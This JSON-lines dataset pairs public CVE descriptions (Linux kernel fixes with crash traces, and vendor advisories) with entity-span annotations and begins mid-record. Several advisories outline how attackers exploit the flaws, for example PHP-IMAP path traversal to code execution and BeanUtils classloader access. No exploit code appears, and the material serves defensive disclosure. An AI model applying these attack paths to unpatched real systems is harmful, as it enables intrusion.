__kernfs_new_node+0x1b9/0x240\n[  272.195954]  ? security_kernfs_init_security+0x49/0xd0\n[  272.201093]  ? __kernfs_new_node+0x1b9/0x240\n[  272.205365]  ? kernfs_link_sibling+0x105/0x130\n[  272.209810]  ? kernfs_next_descendant_post+0x1c/0xa0\n[  272.214773]  ? kernfs_activate+0x57/0x70\n[  272.218699]  ? kernfs_add_one+0x118/0x160\n[  272.222710]  ? __kernfs_create_file+0x71/0xa0\n[  272.227069]  ? sysfs_add_bin_file_mode_ns+0xd6/0x110\n[  272.232033]  ? internal_create_group+0x453/0x4a0\n[  272.236651]  ? __vunmap_range_noflush+0x214/0x2d0\n[  272.241355]  ? __free_frozen_pages+0x1dc/0x420\n[  272.245799]  ? free_vmap_area_noflush+0x10a/0x1c0\n[  272.250505]  ? load_module+0x1509/0x16f0\n[  272.254431]  do_init_module+0x60/0x230\n[  272.258181]  __se_sys_finit_module+0x27a/0x370\n[  272.262627]  do_syscall_64+0x6a/0xf0\n[  272.266206]  ? do_syscall_64+0x76/0xf0\n[  272.269956]  ? irqentry_exit_to_user_mode+0x79/0x90\n[  272.274836]  entry_SYSCALL_64_after_hwframe+0x55/0x5d\n[  272.279887] RIP: 0033:0x7b9309168d39\n[  272.283466] Code: 5b 41 5c 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d af 40 0c 00 f7 d8 64 89 01 8\n[  272.302210] RSP: 002b:00007fff50f1a288 EFLAGS: 00000246 ORIG_RAX: 000\n---truncated---", "spans": {"HASH: 3c7fb39a552e7d949de2ad921a7d6588d3a4fdc5": [[798, 838]], "HASH: 3a00532f3f4af4a9eade753f86b0f8dd4e4e5698": [[2520, 2560]], "FILEPATH: /17/2021": [[967, 975]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: HP": [[913, 915]], "VULNERABILITY: NULL pointer dereference": [[238, 262], [424, 448]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37781"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/fbdev-dma: Only cleanup deferred I/O if necessary\n\nCommit 5a498d4d06d6 (\"drm/fbdev-dma: Only install deferred I/O if\nnecessary\") initializes deferred I/O only if it is used.\ndrm_fbdev_dma_fb_destroy() however calls fb_deferred_io_cleanup()\nunconditionally with struct fb_info.fbdefio == NULL. KASAN with the\nout-of-tree Apple silicon display driver posts following warning from\n__flush_work() of a random struct work_struct instead of the expected\nNULL pointer derefs.\n\n[   22.053799] ------------[ cut here ]------------\n[   22.054832] WARNING: CPU: 2 PID: 1 at kernel/workqueue.c:4177 __flush_work+0x4d8/0x580\n[   22.056597] Modules linked in: uhid bnep uinput nls_ascii ip6_tables ip_tables i2c_dev loop fuse dm_multipath nfnetlink zram hid_magicmouse btrfs xor xor_neon brcmfmac_wcc raid6_pq hci_bcm4377 bluetooth brcmfmac hid_apple brcmutil nvmem_spmi_mfd simple_mfd_spmi dockchannel_hid cfg80211 joydev regmap_spmi nvme_apple ecdh_generic ecc macsmc_hid rfkill dwc3 appledrm snd_soc_macaudio macsmc_power nvme_core apple_isp phy_apple_atc apple_sart apple_rtkit_helper apple_dockchannel tps6598x macsmc_hwmon snd_soc_cs42l84 videobuf2_v4l2 spmi_apple_controller nvmem_apple_efuses videobuf2_dma_sg apple_z2 videobuf2_memops spi_nor panel_summit videobuf2_common asahi videodev pwm_apple apple_dcp snd_soc_apple_mca apple_admac spi_apple clk_apple_nco i2c_pasemi_platform snd_pcm_dmaengine mc i2c_pasemi_core mux_core ofpart adpdrm drm_dma_helper apple_dart apple_soc_cpufreq leds_pwm phram\n[   22.073768] CPU: 2 UID: 0 PID: 1 Comm: systemd-shutdow Not tainted 6.11.2-asahi+ #asahi-dev\n[   22.075612] Hardware name: Apple MacBook Pro (13-inch, M2, 2022) (DT)\n[   22.077032] pstate: 01400005 (nzcv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n[   22.078567] pc : __flush_work+0x4d8/0x580\n[   22.079471] lr : __flush_work+0x54/0x580\n[   22.080345] sp : ffffc000836ef820\n[   22.081089] x29: ffffc000836ef880 x28: 0000000000000000 x27: ffff80002ddb7128\n[   22.082678] x26: dfffc00000000000 x25: 1ffff000096f0c57 x24: ffffc00082d3e358\n[   22.084263] x23: ffff80004b7862b8 x22: dfffc00000000000 x21: ffff80005aa1d470\n[   22.085855] x20: ffff80004b786000 x19: ffff80004b7862a0 x18: 0000000000000000\n[   22.087439] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000005\n[   22.089030] x14: 1ffff800106ddf0a x13: 0000000000000000 x12: 0000000000000000\n[   22.090618] x11: ffffb800106ddf0f x10: dfffc00000000000 x9 : 1ffff800106ddf0e\n[   22.092206] x8 : 0000000000000000 x7 : aaaaaaaaaaaaaaaa x6 : 0000000000000001\n[   22.093790] x5 : ffffc000836ef728 x4 : 0000000000000000 x3 : 0000000000000020\n[   22.095368] x2 : 0000000000000008 x1 : 00000000000000aa x0 : 0000000000000000\n[   22.096955] Call trace:\n[   22.097505]  __flush_work+0x4d8/0x580\n[   22.098330]  flush_delayed_work+0x80/0xb8\n[   22.099231]  fb_deferred_io_cleanup+0x3c/0x130\n[   22.100217]  drm_fbdev_dma_fb_destroy+0x6c/0xe0 [drm_dma_helper]\n[   22.101559]  unregister_framebuffer+0x210/0x2f0\n[   22.102575]  drm_fb_helper_unregister_info+0x48/0x60\n[   22.103683]  drm_fbdev_dma_client_unregister+0x4c/0x80 [drm_dma_helper]\n[   22.105147]  drm_client_dev_unregister+0x1cc/0x230\n[   22.106217]  drm_dev_unregister+0x58/0x570\n[   22.107125]  apple_drm_unbind+0x50/0x98 [appledrm]\n[   22.108199]  component_del+0x1f8/0x3a8\n[   22.109042]  dcp_platform_shutdown+0x24/0x38 [apple_dcp]\n[   22.110357]  platform_shutdown+0x70/0x90\n[   22.111219]  device_shutdown+0x368/0x4d8\n[   22.112095]  kernel_restart+0x6c/0x1d0\n[   22.112946]  __arm64_sys_reboot+0x1c8/0x328\n[   22.113868]  invoke_syscall+0x78/0x1a8\n[   22.114703]  do_el0_svc+0x124/0x1a0\n[   22.115498]  el0_svc+0x3c/0xe0\n[   22.116181]  el0t_64_sync_handler+0x70/0xc0\n[   22.117110]  el0t_64_sync+0x190/0x198\n[   22.117931] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: workqueue.c": [[643, 654]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1611, 1618]], "ORGANIZATION: Apple": [[393, 398], [1694, 1699]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Fix debug checking for np-guests using huge mappings\n\nWhen running with transparent huge pages and CONFIG_NVHE_EL2_DEBUG then\nthe debug checking in assert_host_shared_guest() fails on the launch of an\nnp-guest. This WARN_ON() causes a panic and generates the stack below.\n\nIn __pkvm_host_relax_perms_guest() the debug checking assumes the mapping\nis a single page but it may be a block map. Update the checking so that\nthe size is not checked and just assumes the correct size.\n\nWhile we're here make the same fix in __pkvm_host_mkyoung_guest().\n\n  Info: # lkvm run -k /share/arch/arm64/boot/Image -m 704 -c 8 --name guest-128\n  Info: Removed ghost socket file \"/.lkvm//guest-128.sock\".\n[ 1406.521757] kvm [141]: nVHE hyp BUG at: arch/arm64/kvm/hyp/nvhe/mem_protect.c:1088!\n[ 1406.521804] kvm [141]: nVHE call trace:\n[ 1406.521828] kvm [141]:  [<ffff8000811676b4>] __kvm_nvhe_hyp_panic+0xb4/0xe8\n[ 1406.521946] kvm [141]:  [<ffff80008116d12c>] __kvm_nvhe_assert_host_shared_guest+0xb0/0x10c\n[ 1406.522049] kvm [141]:  [<ffff80008116f068>] __kvm_nvhe___pkvm_host_relax_perms_guest+0x48/0x104\n[ 1406.522157] kvm [141]:  [<ffff800081169df8>] __kvm_nvhe_handle___pkvm_host_relax_perms_guest+0x64/0x7c\n[ 1406.522250] kvm [141]:  [<ffff800081169f0c>] __kvm_nvhe_handle_trap+0x8c/0x1a8\n[ 1406.522333] kvm [141]:  [<ffff8000811680fc>] __kvm_nvhe___skip_pauth_save+0x4/0x4\n[ 1406.522454] kvm [141]: ---[ end nVHE call trace ]---\n[ 1406.522477] kvm [141]: Hyp Offset: 0xfffece8013600000\n[ 1406.522554] Kernel panic - not syncing: HYP panic:\n[ 1406.522554] PS:834003c9 PC:0000b1806db6d170 ESR:00000000f2000800\n[ 1406.522554] FAR:ffff8000804be420 HPFAR:0000000000804be0 PAR:0000000000000000\n[ 1406.522554] VCPU:0000000000000000\n[ 1406.523337] CPU: 3 UID: 0 PID: 141 Comm: kvm-vcpu-0 Not tainted 6.16.0-rc7 #97 PREEMPT\n[ 1406.523485] Hardware name: FVP Base RevC (DT)\n[ 1406.523566] Call trace:\n[ 1406.523629]  show_stack+0x18/0x24 (C)\n[ 1406.523753]  dump_stack_lvl+0xd4/0x108\n[ 1406.523899]  dump_stack+0x18/0x24\n[ 1406.524040]  panic+0x3d8/0x448\n[ 1406.524184]  nvhe_hyp_panic_handler+0x10c/0x23c\n[ 1406.524325]  kvm_handle_guest_abort+0x68c/0x109c\n[ 1406.524500]  handle_exit+0x60/0x17c\n[ 1406.524630]  kvm_arch_vcpu_ioctl_run+0x2e0/0x8c0\n[ 1406.524794]  kvm_vcpu_ioctl+0x1a8/0x9cc\n[ 1406.524919]  __arm64_sys_ioctl+0xac/0x104\n[ 1406.525067]  invoke_syscall+0x48/0x10c\n[ 1406.525189]  el0_svc_common.constprop.0+0x40/0xe0\n[ 1406.525322]  do_el0_svc+0x1c/0x28\n[ 1406.525441]  el0_svc+0x38/0x120\n[ 1406.525588]  el0t_64_sync_handler+0x10c/0x138\n[ 1406.525750]  el0t_64_sync+0x1ac/0x1b0\n[ 1406.525876] SMP: stopping secondary CPUs\n[ 1406.525965] Kernel Offset: disabled\n[ 1406.526032] CPU features: 0x0000,00000080,8e134ca1,9446773f\n[ 1406.526130] Memory Limit: none\n[ 1406.959099] ---[ end Kernel panic - not syncing: HYP panic:\n[ 1406.959099] PS:834003c9 PC:0000b1806db6d170 ESR:00000000f2000800\n[ 1406.959099] FAR:ffff8000804be420 HPFAR:0000000000804be0 PAR:0000000000000000\n[ 1406.959099] VCPU:0000000000000000 ]", "spans": {"FILEPATH: /share/arch/arm64/boot/Image": [[650, 678]], "FILEPATH: /arm64/kvm/hyp/nvhe/mem_protect.c": [[815, 848]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40184"}}
{"text": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 15.1.0-47107 . An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the VGA virtual device. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the hypervisor. Was ZDI-CAN-9403.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8871"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix racy bitfield write in btrfs_clear_space_info_full()\n\nFrom the memory-barriers.txt document regarding memory barrier ordering\nguarantees:\n\n (*) These guarantees do not apply to bitfields, because compilers often\n     generate code to modify these using non-atomic read-modify-write\n     sequences.  Do not attempt to use bitfields to synchronize parallel\n     algorithms.\n\n (*) Even in cases where bitfields are protected by locks, all fields\n     in a given bitfield must be protected by one lock.  If two fields\n     in a given bitfield are protected by different locks, the compiler's\n     non-atomic read-modify-write sequences can cause an update to one\n     field to corrupt the value of an adjacent field.\n\nbtrfs_space_info has a bitfield sharing an underlying word consisting of\nthe fields full, chunk_alloc, and flush:\n\nstruct btrfs_space_info {\n        struct btrfs_fs_info *     fs_info;              /*     0     8 */\n        struct btrfs_space_info *  parent;               /*     8     8 */\n        ...\n        int                        clamp;                /*   172     4 */\n        unsigned int               full:1;               /*   176: 0  4 */\n        unsigned int               chunk_alloc:1;        /*   176: 1  4 */\n        unsigned int               flush:1;              /*   176: 2  4 */\n        ...\n\nTherefore, to be safe from parallel read-modify-writes losing a write to\none of the bitfield members protected by a lock, all writes to all the\nbitfields must use the lock. They almost universally do, except for\nbtrfs_clear_space_info_full() which iterates over the space_infos and\nwrites out found->full = 0 without a lock.\n\nImagine that we have one thread completing a transaction in which we\nfinished deleting a block_group and are thus calling\nbtrfs_clear_space_info_full() while simultaneously the data reclaim\nticket infrastructure is running do_async_reclaim_data_space():\n\n          T1                                             T2\nbtrfs_commit_transaction\n  btrfs_clear_space_info_full\n  data_sinfo->full = 0\n  READ: full:0, chunk_alloc:0, flush:1\n                                              do_async_reclaim_data_space(data_sinfo)\n                                              spin_lock(&space_info->lock);\n                                              if(list_empty(tickets))\n                                                space_info->flush = 0;\n                                                READ: full: 0, chunk_alloc:0, flush:1\n                                                MOD/WRITE: full: 0, chunk_alloc:0, flush:0\n                                                spin_unlock(&space_info->lock);\n                                                return;\n  MOD/WRITE: full:0, chunk_alloc:0, flush:1\n\nand now data_sinfo->flush is 1 but the reclaim worker has exited. This\nbreaks the invariant that flush is 0 iff there is no work queued or\nrunning. Once this invariant is violated, future allocations that go\ninto __reserve_bytes() will add tickets to space_info->tickets but will\nsee space_info->flush is set to 1 and not queue the work. After this,\nthey will block forever on the resulting ticket, as it is now impossible\nto kick the worker again.\n\nI also confirmed by looking at the assembly of the affected kernel that\nit is doing RMW operations. For example, to set the flush (3rd) bit to 0,\nthe assembly is:\n  andb    $0xfb,0x60(%rbx)\nand similarly for setting the full (1st) bit to 0:\n  andb    $0xfe,-0x20(%rax)\n\nSo I think this is really a bug on practical systems.  I have observed\na number of systems in this exact state, but am currently unable to\nreproduce it.\n\nRather than leaving this footgun lying around for the future, take\nadvantage of the fact that there is room in the struct anyway, and that\nit is already quite large and simply change the three bitfield members to\nbools. This avoids writes to space_info->full having any effect on\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68358"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc/uss720: fix memory leak in uss720_probe\n\nuss720_probe forgets to decrease the refcount of usbdev in uss720_probe.\nFix this by decreasing the refcount of usbdev by usb_put_dev.\n\nBUG: memory leak\nunreferenced object 0xffff888101113800 (size 2048):\n  comm \"kworker/0:1\", pid 7, jiffies 4294956777 (age 28.870s)\n  hex dump (first 32 bytes):\n    ff ff ff ff 31 00 00 00 00 00 00 00 00 00 00 00  ....1...........\n    00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00  ................\n  backtrace:\n    [<ffffffff82b8e822>] kmalloc include/linux/slab.h:554 [inline]\n    [<ffffffff82b8e822>] kzalloc include/linux/slab.h:684 [inline]\n    [<ffffffff82b8e822>] usb_alloc_dev+0x32/0x450 drivers/usb/core/usb.c:582\n    [<ffffffff82b98441>] hub_port_connect drivers/usb/core/hub.c:5129 [inline]\n    [<ffffffff82b98441>] hub_port_connect_change drivers/usb/core/hub.c:5363 [inline]\n    [<ffffffff82b98441>] port_event drivers/usb/core/hub.c:5509 [inline]\n    [<ffffffff82b98441>] hub_event+0x1171/0x20c0 drivers/usb/core/hub.c:5591\n    [<ffffffff81259229>] process_one_work+0x2c9/0x600 kernel/workqueue.c:2275\n    [<ffffffff81259b19>] worker_thread+0x59/0x5d0 kernel/workqueue.c:2421\n    [<ffffffff81261228>] kthread+0x178/0x1b0 kernel/kthread.c:292\n    [<ffffffff8100227f>] ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:294", "spans": {"FILEPATH: /linux/slab.h": [[604, 617], [671, 684]], "FILEPATH: /usb/core/usb.c": [[755, 770]], "FILEPATH: /usb/core/hub.c": [[824, 839], [910, 925], [983, 998], [1069, 1084]], "FILEPATH: /x86/entry/entry_64.S": [[1361, 1382]], "FILEPATH: workqueue.c": [[1151, 1162], [1225, 1236]], "FILEPATH: kthread.c": [[1294, 1303]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[86, 97], [256, 267]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47173"}}
{"text": "Improper Access Control vulnerability in Apache Commons.\n\n\n\nA special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.\n\n\n\n\n\nReleases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty().\nStarting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests.\n\nThis issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils\n\n 1.x are recommended to upgrade to version 1.11.0, which fixes the issue.\n\n\nUsers of the artifact org.apache.commons:commons-beanutils2\n\n 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.", "spans": {"SYSTEM: Apache Commons": [[41, 55], [1281, 1295]], "SYSTEM: Java": [[198, 202], [784, 788]], "VULNERABILITY: Improper Access Control": [[0, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-48734"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: JNDI). Supported versions that are affected are Java SE: 7u271, 8u261, 11.0.8 and 15; Java SE Embedded: 8u261. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Java SE, Java SE Embedded accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 3.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [133, 137], [171, 175], [320, 324], [329, 333], [442, 446], [451, 455], [534, 538], [594, 598], [636, 640], [752, 756], [793, 797]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14781"}}
{"text": "sigstore-go, a Go library for Sigstore signing and verification, is susceptible to a denial of service attack in versions prior to 0.6.1 when a verifier is provided a maliciously crafted Sigstore Bundle containing large amounts of verifiable data, in the form of signed transparency log entries, RFC 3161 timestamps, and attestation subjects. The verification of these data structures is computationally expensive. This can be used to consume excessive CPU resources, leading to a denial of service attack. TUF's security model labels this type of vulnerability an \"Endless data attack,\" and can lead to verification failing to complete and disrupting services that rely on sigstore-go for verification. This vulnerability is addressed with sigstore-go 0.6.1, which adds hard limits to the number of verifiable data structures that can be processed in a bundle. Verification will fail if a bundle has data that exceeds these limits. The limits are 32 signed transparency log entries, 32 RFC 3161 timestamps, 1024 attestation subjects, and 32 digests per attestation subject. These limits are intended to be high enough to accommodate the vast majority of use cases, while preventing the verification of maliciously crafted bundles that contain large amounts of verifiable data. Users who are vulnerable but unable to quickly upgrade may consider adding manual bundle validation to enforce limits similar to those in the referenced patch prior to calling sigstore-go's verification functions.", "spans": {"VULNERABILITY: denial of service": [[85, 102], [481, 498]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45395"}}
{"text": "Soft Serve is a self-hostable Git server for the command line. Prior to version 0.6.2, a security vulnerability in Soft Serve could allow an unauthenticated, remote attacker to bypass public key authentication when keyboard-interactive SSH authentication is active, through the `allow-keyless` setting, and the public key requires additional client-side verification for example using FIDO2 or GPG. This is due to insufficient validation procedures of the public key step during SSH request handshake, granting unauthorized access if the keyboard-interaction mode is utilized. An attacker could exploit this vulnerability by presenting manipulated SSH requests using keyboard-interactive authentication mode. This could potentially result in unauthorized access to the Soft Serve. Users should upgrade to the latest Soft Serve version `v0.6.2` to receive the patch for this issue. To workaround this vulnerability without upgrading, users can temporarily disable Keyboard-Interactive SSH Authentication using the `allow-keyless` setting.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-43809"}}
{"text": "go-cvss is a Go module to manipulate Common Vulnerability Scoring System (CVSS). In affected versions when a full CVSS v2.0 vector string is parsed using `ParseVector`, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic. The problem is patched in tag `v0.4.0`, by the commit `d9d478ff0c13b8b09ace030db9262f3c2fe031f4`. Users are advised to upgrade. Users unable to upgrade may avoid this issue by parsing only CVSS v2.0 vector strings that do not have all attributes defined (e.g. `AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M`). As stated in [SECURITY.md](https://github.com/pandatix/go-cvss/blob/master/SECURITY.md), the CPE v2.3 to refer to this Go module is `cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*`. The entry has already been requested to the NVD CPE dictionary.", "spans": {"URL: https://github.com/pandatix/go-cvss/blob/master/SECURITY.md": [[618, 677]], "HASH: d9d478ff0c13b8b09ace030db9262f3c2fe031f4": [[313, 353]], "VULNERABILITY: Out-of-Bounds Read": [[172, 190]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39213"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntpm: Change to kvalloc() in eventlog/acpi.c\n\nThe following failure was reported on HPE ProLiant D320:\n\n[   10.693310][    T1] tpm_tis STM0925:00: 2.0 TPM (device-id 0x3, rev-id 0)\n[   10.848132][    T1] ------------[ cut here ]------------\n[   10.853559][    T1] WARNING: CPU: 59 PID: 1 at mm/page_alloc.c:4727 __alloc_pages_noprof+0x2ca/0x330\n[   10.862827][    T1] Modules linked in:\n[   10.866671][    T1] CPU: 59 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.12.0-lp155.2.g52785e2-default #1 openSUSE Tumbleweed (unreleased) 588cd98293a7c9eba9013378d807364c088c9375\n[   10.882741][    T1] Hardware name: HPE ProLiant DL320 Gen12/ProLiant DL320 Gen12, BIOS 1.20 10/28/2024\n[   10.892170][    T1] RIP: 0010:__alloc_pages_noprof+0x2ca/0x330\n[   10.898103][    T1] Code: 24 08 e9 4a fe ff ff e8 34 36 fa ff e9 88 fe ff ff 83 fe 0a 0f 86 b3 fd ff ff 80 3d 01 e7 ce 01 00 75 09 c6 05 f8 e6 ce 01 01 <0f> 0b 45 31 ff e9 e5 fe ff ff f7 c2 00 00 08 00 75 42 89 d9 80 e1\n[   10.917750][    T1] RSP: 0000:ffffb7cf40077980 EFLAGS: 00010246\n[   10.923777][    T1] RAX: 0000000000000000 RBX: 0000000000040cc0 RCX: 0000000000000000\n[   10.931727][    T1] RDX: 0000000000000000 RSI: 000000000000000c RDI: 0000000000040cc0\n\nThe above transcript shows that ACPI pointed a 16 MiB buffer for the log\nevents because RSI maps to the 'order' parameter of __alloc_pages_noprof().\nAddress the bug by moving from devm_kmalloc() to devm_add_action() and\nkvmalloc() and devm_add_action().", "spans": {"HASH: 588cd98293a7c9eba9013378d807364c088c9375": [[596, 636]], "FILEPATH: /28/2024": [[734, 742]], "FILEPATH: acpi.c": [[106, 112]], "FILEPATH: page_alloc.c": [[362, 374]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-58005"}}
{"text": "PHP-IMAP is a wrapper for common IMAP communication without the need to have the php-imap module installed / enabled. Prior to version 5.3.0, an unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability, which results in a remote code execution vulnerability. Every application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack.\n\nAn attacker can send an email with a malicious attachment to the inbox, which gets crawled with `webklex/php-imap` or `webklex/laravel-imap`. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)`. In this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback. Even if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package. There is also no restriction about the file extension (e.g. \".php\") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions. The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron or requests.\n\nVersion 5.3.0 contains a patch for this issue.", "spans": {"SYSTEM: PHP": [[0, 3]], "VULNERABILITY: remote code execution": [[277, 298]], "VULNERABILITY: directory traversal": [[223, 242]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-35169"}}
{"text": "A vulnerability in the forwarding of transit TCPv6 packets received on the Ethernet management interface of Juniper Networks Junos OS allows an attacker to trigger a kernel panic, leading to a Denial of Service (DoS). Continued receipt and processing of these transit packets will create a sustained Denial of Service (DoS) condition. This issue only occurs when TCPv6 packets are routed through the management interface. Other transit traffic, and traffic destined to the management interface, are unaffected by this vulnerability. This issue was introduced as part of a TCP Parallelization feature added in Junos OS 17.2, and affects systems with concurrent network stack enabled. This feature is enabled by default, but can be disabled (see WORKAROUND section below). This issue affects Juniper Networks Junos OS: 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S9; 17.4 versions prior to 17.4R2-S11, 17.4R3-S2; 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S5; 18.3 versions prior to 18.3R2-S4, 18.3R3-S3; 18.4 versions prior to 18.4R2-S5, 18.4R3-S4; 19.1 versions prior to 19.1R2-S2, 19.1R3; 19.2 versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S4, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2. This issue does not affect Juniper Networks Junos OS versions prior to 17.2R1.", "spans": {"ORGANIZATION: Juniper": [[108, 115], [790, 797], [1285, 1292]], "VULNERABILITY: Denial of Service": [[193, 210], [300, 317]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0258"}}
{"text": "A vulnerability in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against an administrative user of the interface. A successful exploit allows an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface in Aruba EdgeConnect Enterprise Orchestration Software version(s): Aruba EdgeConnect Enterprise Orchestrator (on-premises), Aruba EdgeConnect Enterprise Orchestrator-as-a-Service, Aruba EdgeConnect Enterprise Orchestrator-SP and Aruba EdgeConnect Enterprise Orchestrator Global Enterprise Tenant Orchestrators - Orchestrator 9.2.1.40179 and below, - Orchestrator 9.1.4.40436 and below, - Orchestrator 9.0.7.40110 and below, - Orchestrator 8.10.23.40015 and below, - Any older branches of Orchestrator not specifically mentioned.", "spans": {"ORGANIZATION: Aruba": [[57, 62], [386, 391], [450, 455], [507, 512], [563, 568], [612, 617]], "VULNERABILITY: cross-site scripting": [[164, 184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43524"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: Fix use-after-free in acpi_ut_copy_ipackage_to_ipackage()\n\nThere is an use-after-free reported by KASAN:\n\n  BUG: KASAN: use-after-free in acpi_ut_remove_reference+0x3b/0x82\n  Read of size 1 at addr ffff888112afc460 by task modprobe/2111\n  CPU: 0 PID: 2111 Comm: modprobe Not tainted 6.1.0-rc7-dirty\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),\n  Call Trace:\n   <TASK>\n   kasan_report+0xae/0xe0\n   acpi_ut_remove_reference+0x3b/0x82\n   acpi_ut_copy_iobject_to_iobject+0x3be/0x3d5\n   acpi_ds_store_object_to_local+0x15d/0x3a0\n   acpi_ex_store+0x78d/0x7fd\n   acpi_ex_opcode_1A_1T_1R+0xbe4/0xf9b\n   acpi_ps_parse_aml+0x217/0x8d5\n   ...\n   </TASK>\n\nThe root cause of the problem is that the acpi_operand_object\nis freed when acpi_ut_walk_package_tree() fails in\nacpi_ut_copy_ipackage_to_ipackage(), lead to repeated release in\nacpi_ut_copy_iobject_to_iobject(). The problem was introduced\nby \"8aa5e56eeb61\" commit, this commit is to fix memory leak in\nacpi_ut_copy_iobject_to_iobject(), repeatedly adding remove\noperation, lead to \"acpi_operand_object\" used after free.\n\nFix it by removing acpi_ut_remove_reference() in\nacpi_ut_copy_ipackage_to_ipackage(). acpi_ut_copy_ipackage_to_ipackage()\nis called to copy an internal package object into another internal\npackage object, when it fails, the memory of acpi_operand_object\nshould be freed by the caller.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[393, 397]], "VULNERABILITY: use-after-free": [[81, 95], [148, 162], [197, 211]], "VULNERABILITY: memory leak": [[1021, 1032]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50423"}}
